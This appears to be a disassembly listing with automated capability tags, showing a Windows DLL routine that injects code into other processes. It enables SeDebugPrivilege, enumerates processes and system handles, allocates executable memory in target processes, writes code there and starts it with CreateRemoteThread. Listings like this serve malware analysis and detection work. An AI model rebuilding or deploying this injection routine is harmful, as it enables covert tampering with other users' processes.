Function at 0x1800038a0
Capabilities:
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov r8d, dword [0x18038d278]
xor edx, edx
mov ecx, 0x1fffff
xor r12b, r12b
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, 0xf00008
mov r14, rax
call fcn.180018f20
xor r13d, r13d
mov rbx, rax
mov esi, r13d
test rax, rax
je 0x1800038fd
xor r9d, r9d
lea ecx, [r13 + 0x10]
mov r8d, 0xf00008
mov rdx, rax
call qword [0x18038d270]
mov rsi, rbx
mov ebx, r13d
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rdi
cmp dword [rsi], ebx
jbe 0x180003943
nop dword [rax]
nop dword [rax + rax]
mov edi, ebx
lea rax, [rdi + rdi*2]
cmp word [rsi + rax*8 + 0xe], r14w
lea rbp, [rsi + rax*8]
jne 0x18000393d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rbp + 8], eax
je 0x180003968
inc ebx
cmp ebx, dword [rsi]
jb 0x180003920
mov r15, qword [rsp + 0x90]
mov rcx, rsi
call fcn.180018f0c
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15, r15
jne 0x180003973
xor al, al
jmp 0x180003b30
lea rax, [rdi + rdi*2]
mov r15, qword [rsi + rax*8 + 0x10]
jmp 0x18000394b
mov ecx, 0xf00008
call fcn.180018f20
mov rbx, rax
mov r14, r13
test rax, rax
je 0x1800039a1
xor r9d, r9d
mov r8d, 0xf00008
mov rdx, rax
lea ecx, [r9 + 0x10]
call qword [0x18038d270]
mov r14, rbx
mov esi, r13d
cmp dword [r14], r13d
jbe 0x180003b24
nop dword [rax]
mov eax, esi
lea rcx, [rax + rax*2]
cmp byte [r14 + rcx*8 + 0xc], 7
lea rbx, [r14 + rcx*8]
jne 0x180003af1
cmp qword [rbx + 0x10], r15
jne 0x180003af1
mov r8d, dword [rbx + 8]
cmp r8d, dword [0x18038d278]
je 0x180003af1
mov eax, dword [rbx + 0x18]
and eax, 0x418
cmp eax, 0x418
jne 0x180003af1
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x180003af1
movzx ebp, word [rbx + 0xe]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x180003af1
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x50], rax
mov r9d, 0x20
mov eax, dword [0x18038d278]
mov rdx, rbx
mov dword [rsp + 0x48], eax
mov rcx, rdi
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x4c], r13d
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180003adc
lea rcx, [0x180003860]
mov qword [rsp + 0x20], r13
lea r9, [method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_40]
mov r8, rcx
sub r9d, ecx
lea rdx, [rbx + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180003adc
mov qword [rsp + 0x30], r13
lea r9, [rbx + 0x20]
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x180003afe
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
inc esi
cmp esi, dword [r14]
jb 0x1800039b0
jmp 0x180003b24
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r12b, 1
mov rcx, r14
call fcn.180018f0c
movzx eax, r12b
mov rdi, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x98]
mov rbx, qword [rsp + 0xa8]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rsi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x280
mov rdi, rcx
lea rcx, [0x180048668]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x180003bd3
lea rdx, str.ZwQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.ZwQueryObject
mov rcx, rbx
mov qword [0x18038d260], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.ZwQuerySystemInformation
mov rcx, rbx
mov qword [0x18038d268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [0x18038d260]
mov rcx, qword [0x18038d268]
jmp 0x180003be7
xor edx, edx
xor ecx, ecx
mov qword [0x18038d260], rdx
xor eax, eax
mov qword [0x18038d268], rcx
mov qword [0x18038d270], rax
test rdx, rdx
je 0x180003d53
test rcx, rcx
je 0x180003d53
test rax, rax
je 0x180003d53
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x298]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180003d53
lea r8, [rsp + 0x34]
mov dword [rsp + 0x30], 1
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x298]
lea r8, [rsp + 0x30]
mov r9d, 0x10
mov qword [rsp + 0x28], 0
xor edx, edx
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x298]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x180003d53
xor edx, edx
mov dword [rsp + 0x40], 0x238
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180003cf5
call fcn.180004000
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.1800046e0
movzx edx, al
mov rcx, rbx
call fcn.180004590
mov rcx, rbx
call fcn.1800044f0
mov rbx, qword [rsp + 0x290]
add rsp, 0x280
pop rdi
ret
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180003d4a
nop word [rax + rax]
lea rax, [rsp + 0x6c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x180003d34
add rax, 2
test ecx, ecx
jne 0x180003d20
mov rcx, rbx
test edx, edx
je 0x180003d64
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180003d10
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x290]
add rsp, 0x280
pop rdi
ret
mov eax, dword [rsp + 0x48]
mov dword [0x18038d278], eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x290]
add rsp, 0x280
pop rdi
jmp 0x1800038a0